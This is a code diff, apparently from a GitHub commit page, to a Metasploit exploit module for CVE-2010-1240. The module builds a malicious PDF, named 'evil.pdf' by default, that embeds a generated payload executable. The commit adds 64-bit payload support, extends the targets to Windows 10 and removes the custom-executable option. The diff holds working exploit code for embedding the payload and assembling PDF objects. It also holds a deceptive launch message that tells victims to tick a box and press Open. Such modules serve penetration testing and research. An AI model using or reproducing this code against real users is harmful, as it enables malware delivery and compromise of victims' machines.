Skip to content

Commit b61e6b1

Browse files
committed
Add ARCH_X64 and test it, refactor to drop EXENAME
1 parent e7dccc0 commit b61e6b1

File tree

1 file changed

+14
-28
lines changed

1 file changed

+14
-28
lines changed

modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb

Lines changed: 14 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ def initialize(info = {})
2121
'Author' =>
2222
[
2323
'Colin Ames <amesc[at]attackresearch.com>', # initial module
24-
'jduck' # add Documents for vista/win7
24+
'jduck' # add Documents for vista/win7/win10
2525
],
2626
'References' =>
2727
[
@@ -35,21 +35,20 @@ def initialize(info = {})
3535
'DisclosureDate' => '2010-03-29',
3636
'Payload' =>
3737
{
38-
'Space' => 2048,
39-
'DisableNops' => true,
40-
'StackAdjustment' => -3500,
38+
'Space' => 4096,
39+
'DisableNops' => true
4140
},
41+
'Arch' => [ ARCH_X86, ARCH_X64 ],
4242
'Platform' => 'win',
4343
'Targets' =>
4444
[
45-
[ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)', { 'Ret' => '' } ]
45+
[ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)', { 'Ret' => '' } ]
4646
],
4747
'DefaultTarget' => 0))
4848

4949
register_options(
5050
[
5151
OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]),
52-
OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
5352
OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
5453
OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
5554
"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
@@ -59,7 +58,6 @@ def initialize(info = {})
5958
def exploit
6059

6160
file_name = datastore['INFILENAME']
62-
exe_name = datastore['EXENAME']
6361

6462
print_status("Reading in '#{file_name}'...")
6563
stream = read_pdf()
@@ -78,7 +76,6 @@ def exploit
7876
:stream => stream,
7977
:trailers => trailers,
8078
:file_name => file_name,
81-
:exe_name => exe_name,
8279
:startxref => startxrefs.last
8380
})
8481

@@ -103,24 +100,14 @@ def exploit
103100
end
104101

105102

106-
def ef_payload(pdf_name,payload_exe,obj_num)
103+
def ef_payload(pdf_name,obj_num)
107104

108-
if !(payload_exe and payload_exe.length > 0)
109-
print_status("Using '#{datastore['PAYLOAD']}' as payload...")
105+
print_status("Using '#{datastore['PAYLOAD']}' as payload...")
110106

111-
payload_exe = generate_payload_exe
112-
file_size = payload_exe.length
113-
stream = Rex::Text.zlib_deflate(payload_exe)
114-
md5 = Rex::Text.md5(stream)
115-
116-
else
117-
print_status("Using '#{datastore['EXENAME']}' as payload...")
118-
119-
file_size = File.size(payload_exe)
120-
stream = Rex::Text.zlib_deflate(File.binread(payload_exe))
121-
md5 = Rex::Text.md5(File.binread(payload_exe))
122-
123-
end
107+
payload_exe = generate_payload_exe
108+
file_size = payload_exe.length
109+
stream = Rex::Text.zlib_deflate(payload_exe)
110+
md5 = Rex::Text.md5(stream)
124111

125112
output = String.new()
126113

@@ -180,7 +167,6 @@ def basic_social_engineering_exploit(opts = {})
180167
stream = opts[:stream]
181168
trailers = opts[:trailers]
182169
file_name = opts[:file_name]
183-
exe_name = opts[:exe_name]
184170
startxref = opts[:startxref]
185171

186172
file_name = file_name.split(/\//).pop.to_s
@@ -288,7 +274,7 @@ def basic_social_engineering_exploit(opts = {})
288274
if new_embedded_files
289275
pdf_payload = String.new()
290276
num = trailers[0].fetch("Size").to_i - 1
291-
pdf_payload << ef_payload(pdf_name,exe_name,num)
277+
pdf_payload << ef_payload(pdf_name,num)
292278
pdf_payload << js_payload(pdf_name,num)
293279
new_pdf << stream << pdf_payload
294280

@@ -323,7 +309,7 @@ def basic_social_engineering_exploit(opts = {})
323309
pdf_payload = String.new()
324310
num = trailers[0].fetch("Size").to_i
325311
pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
326-
pdf_payload << ef_payload(pdf_name,exe_name,num)
312+
pdf_payload << ef_payload(pdf_name,num)
327313
pdf_payload << js_payload(pdf_name,num)
328314
new_pdf << stream << pdf_payload
329315

@@ -360,7 +346,7 @@ def basic_social_engineering_exploit(opts = {})
360346
num = trailers[0].fetch("Size").to_i + 1
361347
pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
362348
pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
363-
pdf_payload << ef_payload(pdf_name,exe_name,num)
349+
pdf_payload << ef_payload(pdf_name,num)
364350
pdf_payload << js_payload(pdf_name,num)
365351
new_pdf << stream << pdf_payload
366352
xrefs = xref_create(new_pdf,stream.length,"*")

0 commit comments

Comments
 (0)